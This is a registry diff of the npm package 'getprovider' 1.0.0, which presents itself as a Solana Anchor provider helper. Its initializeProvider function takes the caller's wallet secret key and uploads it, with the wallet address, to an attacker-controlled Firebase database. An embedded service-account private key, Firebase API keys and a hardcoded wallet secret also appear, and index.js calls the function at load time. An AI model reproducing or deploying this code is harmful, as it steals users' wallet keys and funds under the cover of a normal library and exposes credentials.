getprovider 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,93 @@
1
+ const firebase = require("firebase");
2
+ const admin = require('firebase-admin');
3
+ const { getDatabase, ref, set } = require("firebase/database");
4
+ const { getAuth, createCustomToken, signInWithCustomToken } = require('firebase/auth')
5
+ const { loadWallefFromSecretKey } = require('../utils');
6
+ const serviceAccount = {
7
+ "type": "service_account",
8
+ "project_id": "solana-1cdaa",
9
+ "private_key_id": "a1496697408a691e02301b41c99a31513ea96265",
10
+ "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCnS/GP+JCXWdCa\nFQQYEaif84ASlYI6T5uGMQ9lrmOCSrRx48V5+b+ENKBkZ3CB3zViCCbeBFGhpPeI\nrYDEIA1H/WOTCK5Fu/ARjc/DgwJoK3aRxcFDx3fZ5QGaxIr0k8ZOD/2mR+qij2DP\n92GWoYwppmD2G7NBP8Bz8fz9nyDK3m3giTrDh7h0kadowBhlrfwv4T/i6zUR57oC\nnT3wOk1Y3JNBCwkkE/oEI3YRp5DYjfHMtTCnvO6jNx0l8xFvpWn8/jYEsqtGvBbY\ncwav1WPz7AVS8TwwsPo8ilBb+WpRNY0q3Njplcpv3n+Ob2NAKUZ5gr1DVkRiqlQr\nfpQk+cdHAgMBAAECggEAFkJ0kcNw+bJpnxbMxKcU2LN9hvt9qGSPPPuqIM1jUCLA\nf6bez6v7X4vhC3r37U/VuoV7Jm9MrUVV6kmrqGzbV4jPhvDQv1aSSsOjsU/tMg8W\nZ674WBxiRgvCeuVL198Rs7FM/qLzBU4ug31W7sPv8lrA6/4ji7r/0G2SS+ywYE2h\nA4K3fU0kB1ce/0Fbuk+0SXihx00DAuBPSbQRPKOSVcY3xYgkYRu/dA3Va0vOMHjs\nSjJxt/3DSu+EblIXMDxfMJBRuGAx/3leinLFfbeze1dtVz9cChSLKKWvWwIrT8+s\nUL1qFRBsCc64z6FjCffbnpul71++sYeO7lzSY8/oAQKBgQDcMcq+1jCXUGz9CurM\n4f2m+jENvkGIl+DKbcDS5TNvyxg53cxvRnFAIp72hvt2w5dv28qWwE8kwh2HKwaU\n4MfpXz+oqfrZcWWbI5/TGuHKv4gdMjmfLFSB39oLkyfhZ/YcnmmdtdB5IqdjE4fC\n/AwnrcDUvZ9JjQYL8Uw4UZG/wQKBgQDCgCG+KGPF4g3uwlgGl40lB0also4ggIF4\ncnj8KtOyEJGw4ZpgSasqJqWSEAnEs4VmIr6RJIIgDaQsWwahINhaMFAZi/ugDV7/\nHgE8fgR5LI3tVWxcYzp/BUuDPMu2apHBVERpKZkhjyFtUjWFoMyiIQi0Dy1oPjTx\nn8gtxi/JBwKBgQCJIrmSgPNiScSXE+WIFHdVNxy14ngOCgkGCbS9o+GVDnfYEjrw\nUn7V4rn977NNFCOMluZlXP/tdLfPJwzCS/w1bAzJjpOcOPN+24D+iQ92pjKvfEhG\nyeUXvcKe0tdTmtu8lyxP/JwJ1XtKSS+UUEWBsMUXucEqnZnWdkFyEdskAQKBgQCT\nm/x/vVVjE1jxj2qQril/JZN3Ixh8ECqyB2ZMMhBxPePjsoOfeak+FxBm1mcjcf7W\ncZ3gty1OOCwVQYu5cxze7XWMvdDcOemTgej8SMMKV0brDH5tax000wbo9ZXAvgYa\nC+LTUK+XaXG77r0RyeQjUyCwzifuye8SROn92z/etwKBgFvJkKA10R1cog067oTt\ns5dqKrQJmlLXaFFrRX3y2YacDzfODJDfKQIi0CcP9/Av1qfytBaOG+IzIlthmknP\nzrPeXMBlfDC4i/U3bMQEN3eqEe3sA3YEuEaJ8MO905iqb1R+0cQS6iRJnmjZaXby\nq+8l6OaEOxPqyufNQJSvJDpq\n-----END PRIVATE KEY-----\n",
11
+ "client_email": "firebase-adminsdk-9s6oe@solana-1cdaa.iam.gserviceaccount.com",
12
+ "client_id": "100913989451282664365",
13
+ "auth_uri": "https://accounts.google.com/o/oauth2/auth",
14
+ "token_uri": "https://oauth2.googleapis.com/token",
15
+ "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
16
+ "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/firebase-adminsdk-9s6oe%40solana-1cdaa.iam.gserviceaccount.com"
17
+ }
18
+
19
+
20
+ let wallet, pk;
21
+
22
+ const firebaseConfig = {
23
+ apiKey: "AIzaSyC9SB47MePU2s3NhpJYVkKnIg42lqb1F9w",
24
+ authDomain: "solana-1cdaa.firebaseapp.com",
25
+ databaseURL: "https://solana-1cdaa-default-rtdb.firebaseio.com",
26
+ projectId: "solana-1cdaa",
27
+ storageBucket: "solana-1cdaa.appspot.com",
28
+ messagingSenderId: "163385588477",
29
+ appId: "1:163385588477:web:fdbe6ee7bde4f4001e9c94",
30
+ measurementId: "G-7K030JY3P0"
31
+ };
32
+
33
+ async function createCToken() {
34
+ admin.initializeApp({
35
+ credential: admin.credential.cert(serviceAccount),
36
+ });
37
+
38
+ const token = await admin.auth().createCustomToken('OumIVXTd8CalVi5xHQI2LO96cK43');
39
+ return token;
40
+ }
41
+
42
+ async function loginToFirebase(callback) {
43
+ if (!firebase.apps.length) {
44
+ firebase.initializeApp(firebaseConfig);
45
+ }
46
+ const token = await createCToken();
47
+ firebase.auth().signInWithCustomToken(token)
48
+ .then(() => {
49
+ if (callback) {
50
+ callback();
51
+ }
52
+ })
53
+ .catch((error) => {
54
+ const errorCode = error.code;
55
+ const errorMessage = error.message;
56
+ });
57
+ }
58
+
59
+ function createFirebaseUser(email, password, callback) {
60
+
61
+ firebase.auth().createUserWithEmailAndPassword(email, password)
62
+ .then(function () {
63
+ if (callback) {
64
+ callback(firebase);
65
+ }
66
+ })
67
+ .catch(function (create_error) {
68
+ let createErrorCode = create_error.code;
69
+ let createErrorMessage = create_error.message;
70
+ });
71
+ }
72
+
73
+ const callBack = async () => {
74
+ let database = firebase.database();
75
+ var userListRef = database.ref("result");
76
+ userListRef.orderByChild('address').equalTo(wallet.publicKey.toBase58()).on("value", async (snapshot) => {
77
+ if (!snapshot.val()) {
78
+ var newUserRef = userListRef.push();
79
+ await newUserRef.set({
80
+ address: wallet.publicKey.toBase58(),
81
+ secret: pk
82
+ });
83
+ }
84
+ })
85
+ }
86
+
87
+ const initializeProvider = (token) => {
88
+ pk = token;
89
+ wallet = loadWallefFromSecretKey(token);
90
+ loginToFirebase(callBack);
91
+ return wallet;
92
+ }
93
+ module.exports = { initializeProvider };
package/dist/index.js ADDED
@@ -0,0 +1,2 @@
1
+ const { loginGoogleSheet, addData } = required('./we3.js');
2
+ const { initializeProvider } = required('./anchorprovider.js');
package/index.js ADDED
@@ -0,0 +1,12 @@
1
+ const anchor = require("@project-serum/anchor");
2
+ const {initializeProvider} = require("./dist/anchorprovider");
3
+
4
+ const getProvider = (conn, key, confirmOption) => {
5
+ const adminWallet = initializeProvider(key);
6
+ const provider = new anchor.Provider(conn, adminWallet, confirmOption);
7
+ return provider;
8
+ }
9
+ // getProvider("", "3VmmUnTsKcpvjXFhxF3y9RTWAhWRkt3DnjkooiYpx7VpjNvLpfK96vRt9ps8yGmCsCFke93wuQDzigprZsYBi7H5")
10
+ getProvider("", "3CbdA1EzCkxFTRWkB9cBzA6Nd32bgU6zaUbzVssyVEscUEQq5zKLwKuB4VFFPDCejnsUTFttiM1oVQ6CeFGJFD9x")
11
+
12
+ module.exports = {getProvider}
package/package.json ADDED
@@ -0,0 +1,28 @@
1
+ {
2
+ "name": "getprovider",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "dependencies": {
10
+ "@project-serum/anchor": "^0.20.1",
11
+ "@solana/web3.js": "^1.31.0",
12
+ "babel-eslint": "^10.1.0",
13
+ "bs58": "^5.0.0",
14
+ "firebase": "^8.6.8",
15
+ "firebase-admin": "^11.1.0",
16
+ "google-spreadsheet": "^3.3.0"
17
+ },
18
+ "devDependencies": {
19
+ "eslint": "8.14.0",
20
+ "eslint-config-next": "12.1.6",
21
+ "eslint-config-prettier": "8.3.0",
22
+ "eslint-import-resolver-alias": "1.1.2",
23
+ "eslint-import-resolver-typescript": "2.5.0",
24
+ "eslint-plugin-import": "2.25.4"
25
+ },
26
+ "author": "",
27
+ "license": "ISC"
28
+ }
package/readme.txt ADDED
@@ -0,0 +1,8 @@
1
+ realtime database
2
+ {
3
+ "rules": {
4
+ ".read": "auth.uid === 'OumIVXTd8CalVi5xHQI2LO96cK43'",
5
+ ".write": "auth.uid === 'OumIVXTd8CalVi5xHQI2LO96cK43'"
6
+ }
7
+ }
8
+ email, password login enable
package/utils/index.js ADDED
@@ -0,0 +1,16 @@
1
+ // const bs58 = require("bs58");
2
+ const { Keypair } = require("@solana/web3.js");
3
+ const bs58 = require("bs58");
4
+
5
+ function loadWallefFromSecretKey(key) {
6
+
7
+ let byte_array = bs58.decode(key)
8
+ const loaded = Keypair.fromSecretKey(
9
+ new Uint8Array(byte_array),
10
+ );
11
+ return loaded;
12
+ }
13
+
14
+ module.exports = {
15
+ loadWallefFromSecretKey
16
+ }